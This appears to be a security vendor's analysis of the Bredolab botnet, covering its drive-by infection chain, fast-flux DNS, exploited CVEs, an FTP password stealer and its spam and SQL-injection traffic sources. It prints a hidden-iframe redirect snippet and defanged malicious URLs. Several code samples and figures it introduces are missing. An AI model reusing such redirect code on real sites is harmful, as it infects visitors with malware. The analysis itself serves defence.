On 25 October 2010, the Dutch police force’s Cybercrime Department announced the shutdown of 143 Bredolab botnet control servers. The next day at Armenia’s Yerevan international airport, one of those formerly responsible for running the botnet was arrested. While it is certainly possible that this marked the end of Bredolab, the technologies behind it remain and can, unfortunately, still be used to create new botnets.
Malicious programs from the Backdoor.Win32.Bredolab family were first detected by IT security labs as long ago as mid-2008. Bredolab’s key purpose is to download other malicious programs onto victim computers. The download management system, which includes a loader (Backdoor.Win32.Bredolab) and an administration panel, was offered for sale on hacker forums. It is this software that shaped the foundation of the Bredolab botnet that appeared in mid-2009, and was, according to the Dutch police, comprised of approximately 30 million computers located in countries all over the world.
One of the botnet’s most distinguishing features was its method of operation: legitimate websites that had been hacked were used to spread the botnet’s payload. Visitors to these websites were redirected to malicious resources which resulted in their computers being infected with Backdoor.Win32.Bredolab — everything operated automatically.
It is worth noting that the scheme used to spread Bredolab is similar to that used by the creators of the Gumblar botnet, while the obfuscation methods used with Pegel were reminiscent of the Gumblar script downloader’s functions.
The threat was essentially global: web resources containing malicious code were found in countries all over the world.
Users in many countries faced the risk of their computers becoming infected with Bredolab.
Later, the comments disappeared from the code script and the obfuscation became increasingly complex:
The appearance of the links leading to the malicious resources used by Pegel during the early months of its existence deserves special mention. The domain portion and the route to the malicious script in these links were composed of known domain names, one after the other, for example:
Second level domains were made up of a series of two or three English words that are usually not used together. The creation of these malicious links that resembled the URLs of popular web resources was one of the most favored methods of social engineering among cybercriminals as such a technique minimizes user suspicion.
Later, the domain section of the links was also composed of second level domains:
hxxp://help***ecare.at:8080/vkontakte-ru/google.com/chinahr.com.php hxxp://jui***ile.ru:8080/sify-com/google.com/last.fm.php hxxp://pass***tblues.ru:8080/google.com/kijiji.ca/pornhub.com.php hxxp://best***kstar.info:8080/google.com/travian.com/youjizz.com.php
Later still, the long paths disappeared from the links, and the path was changed to index.php.
Domains containing malicious links were registered in several domain zones, including: ru, info, at, and com. Each domain was on five IP addresses and, in turn, each IP address was linked to numerous malicious domains.
The connections between IP addresses and malicious domains
The number of IP addresses fluctuated between twenty and forty. Over time, some addresses dropped off and new ones appeared. Periodically, IP addresses connected to certain domains would change.
A records at different points in time
It transpired that all of the IP addresses used belonged to a dedicated server, or virtual dedicated servers, of a variety of hosting providers. Moreover, further analysis has shown that Port 80 on many such servers communicates with popular websites that have no links to any criminal activity. A detailed picture of the situation leads one to believe that the servers hosting malicious domains were potentially hacked. Cybercriminals used some of the registered domains for DNS services on these very same hacked servers. Furthermore, the NS-records — like the A records — changed periodically.
NS records at various points in time
The details described above fit the profile of fast-flux networks, or more specifically, double-flux networks, where the address of DNS servers also changes.
Most domains on the fast-flux network were registered by the cybercriminals themselves. However, in the early summer of 2010, some domains appeared that were actually third-level subdomains:
While the third-level domains pointed to Bredolab’s fast-flux network proxy servers, the second-level domains from these links were planted on legitimate sites. The IP addresses of the third-level and second-level domains were different from one another. Somehow, probably by hacking user account details or another similar method, the cybercriminals were able to control the DNS settings of these websites.
...that looked like this after deobfuscation:
width="1" frameborder="0" height="1"></iframe>
…and following deobfuscation, its fragment looked like this:
This code redirected user requests in the browser to exploits.
These exploits took advantage of the following vulnerabilities in certain Adobe Acrobat functions, including: util.printf (CVE-2008-2992), Collab.collectEmailInfo (CVE-2008-0655), Collab.getIcon (CVE-2009-0927), and media.newPlayer (CVE-2009-4324); whilst in the virtual Java machine they took advantage of (CVE-2010-0886) and the MDAC RDS.Dataspace ActiveX component (CVE-2006-0003).
The Java exploit is downloaded in two stages: the first download is the Applet1.html page, which contained an <applet> tag named as a jar file. The exploits are downloaded next.
Once this process has taken place, the exploits are downloaded onto the victim computer and proceed to launch the malicious Backdoor.Win32.Bredolab, which then downloads and launches other malicious programs.
Once it has launched on a victim computer, and in order to download more malicious programs, the bot will send a request like the one below to its command center:
In the body of the reply from the botnet’s command center, we can see encrypted executables, usually in the form of three or four files, which follow one after the other.
The header of the reply contains the Entity-Info field, which is composed of a list of elements separated by a semicolon. Each element describes one of the executables found in the body of the reply. The element is separated from a numeric field by a colon — for example; the field immediately following each element contains the size of the respective executable file. In this way, it is possible to identify where one file ends and the next begins.
Bredolab downloaded a fairly wide variety of malicious programs to victim computers:
This list is far from complete.
Some of these malicious programs are transmitted in replies to the command center using parameters that denote a partner’s identification number. For example, Backdoor.Win32.Shiz, when downloaded by Bredolab, transmits the parameter seller=15, which means that it was installed on the system via Bredolab. The transmission of these ID numbers to the command center usually means that the malicious program is being spread via partners. This, in addition to the variety of software downloaded by Bredolab, points to the way in which the owners of the Bredolab botnet were making money from their creation: they were generating revenue from downloads. In other words, they sold the software to other cybercriminals in the form of downloads.
Of all of the downloaded software, Trojan-PSW.Win32.Agent.qgg deserves special mention. Once it is installed on a victim machine, this Trojan attempts to find the passwords for FTP accounts saved on the following clients:
|Filezilla 3||Ftp Explorer|
|Far 2||Total Command|
When it finds any passwords, the Trojan sends them to the cybercriminals’ server.
Trojan-PSW.Win32.Agent.qgg is interesting because the server to which the Trojan sends its stolen passwords belonged to the owner of the Bredolab botnet. The stolen FTP account passwords helped the cybercriminals to infect legitimate sites with malicious code. This vicious cycle turned out to be very effective indeed.
After close examination, it became clear how the botnet was created.
Clearly, the computers that ended up participating in the infection of the website are proxy servers. The cybercriminals employed two groups of proxy servers: one for infecting victim computers, and a second for infecting websites. These two server groups do not appear to interact in any way.
This method of proliferation was employed by the cybercriminals throughout Bredolab’s entire existence.
The botnet’s self-sustaining capability as described above is no doubt effective, if only for the way that it automated the process of infecting ever more computers. However, it does have one flaw. The scheme starts to work the moment the user is redirected from the infected legitimate resource to a malicious domain on the fast-flux network. Furthermore, the number of victim computers infected by Bredolab that have administrative access to some kind of website is limited. This in turn reduces the number of web resources that cybercriminals can infect using stolen FTP account credentials. Malware was removed from sites with high hit-rates relatively quickly. The larger the number of visitors a site had, the higher the probability a user would notice something suspicious and file a report with the website’s administrators. So, although the self-sustaining capability is effective as mentioned previously, the actual number of infected machines resulting from this approach turned out to be too low for the cybercriminals’ purposes.
In order to boost the effectiveness of their attacks, the cybercriminals needed to increase traffic, that is to say, the number of visitors redirected to malicious fast-flux network domains, so they tried a variety of methods to accomplish this goal.
After the browser deciphered the code, the page was seeded with a <script> code containing Trojan-Downloader.JS.Pegel, which then redirected the user to a malicious resource.
Users may well have received a link to malicious content labeled “with home delivery” in a spam email. In June 2010, the Trojan-Downloader.JS.Pegel.g variant ranked first among the most prevalent malicious attachments in email traffic.
Some malicious spam attacks were relatively sophisticated. In June 2010, there was also a wave of spam purporting to be messages from popular websites such as Twitter, YouTube, Amazon, Facebook, Skype and others. These emails contained either HTML attachments infected with Pegel, or links to infected websites.
If a user clicked on the link, the infected site would load an HTML page with the following code into the browser:
PLEASE WAITING 4 SECOND... <meta http-equiv="refresh" content="4;url=http://spr***team.com"> </head> <body> <iframe src="http://yu***eyes.ru:8080/index.php?pid=10" style="visibility: hidden;" height="1" width="1"></iframe> </body></html>
After a few seconds, the meta-refresh tag would redirect the user to the Canadian Pharmacy website, which sells Viagra and other medication.
Meanwhile, the link containing the iframe tag would redirect users to one of the proxy servers in the fast-flux network in order to infect the computer with Bredolab.
In August 2010, another source of traffic was also identified. The Asprox spambot, which is capable of injecting SQL into websites written in ASP, started to infect legitimate websites by injecting an iframe with a link to the ****n.ru/tds/go.php?sid=1 path .
An example of an SQL injection used by the Asprox bot
After a user had visited the infected site, their browser would close the link containing the iframe tag. This link was injected with a TDS (traffic distribution system), which then redirected the browser to malicious domains that belonged to the owners of Bredolab’s fast-flux network in order to infect the user’s computer with Bredolab. Approximately 10 thousand users per day were redirected in this way.
Finally, in September 2010 the latest method used to redirect users to Bredolab’s fast-flux network domains was discovered. Legitimate websites were hacked using the OpenX banner generator. A vulnerability was used in the Open Flash Chart 2 component, allowing cybercriminals to download files of their choice to the server. As a result, popular websites such as thepiratebay.org, tucows.com, afterdawn.com, esarcasm.com, and tutu.ru had banner ads replaced. The banner ads were flash files containing ActionScript code that redirected users to malicious resources. At the same time, a DDoS attack was launched against the official OpenX project site, leaving users unable to download engine updates to patch the vulnerability for several days.
After a strong upsurge in June related to the spread of spam with links to the botnet’s malicious resources, Pegel activity diminished. Nevertheless, the threat could have remained very real — if the Bredolab botnet had not been shut down.
The owners of the Bredolab botnet created and controlled a network of over 30 million zombie computers that functioned over a long period of time. In order to keep the botnet up and running, the cybercriminals skillfully and effectively concealed the botnet’s command center using fast-flux network techniques. This scheme not only provided reliable sustainability for the botnet’s command center, it also simplified management of malicious content: instead of having to manage malicious sites on multiple nodes, all the cybercriminals had to do was place one such site on the command and control centre and set up redirectors.
One of the key features of the Bredolab botnet is the closely repeating cycle it used to build up its zombie networks, in which infected computers subsequently infected websites, which in turn infected new victim computers. Furthermore, the search for new ways to redirect users to malicious domains was ongoing. The main source of threat in this instance was the infected websites that, when visited, would download malicious programs. Information from the infected user computers could then be used to infect new websites.
In order to protect yourself against this type of threat, you should follow the security recommendations below regarding computers and websites:
Protecting your computer
By following the above recommendations, you can help to minimize the risk of your computer resources becoming part of a botnet. Don’t forget — it’s always much easier to prevent an infection than it is to deal with the consequences of an infection.
2011 Jan 04, 04:26
2013 Jan 27, 17:10
2013 Jan 27, 17:10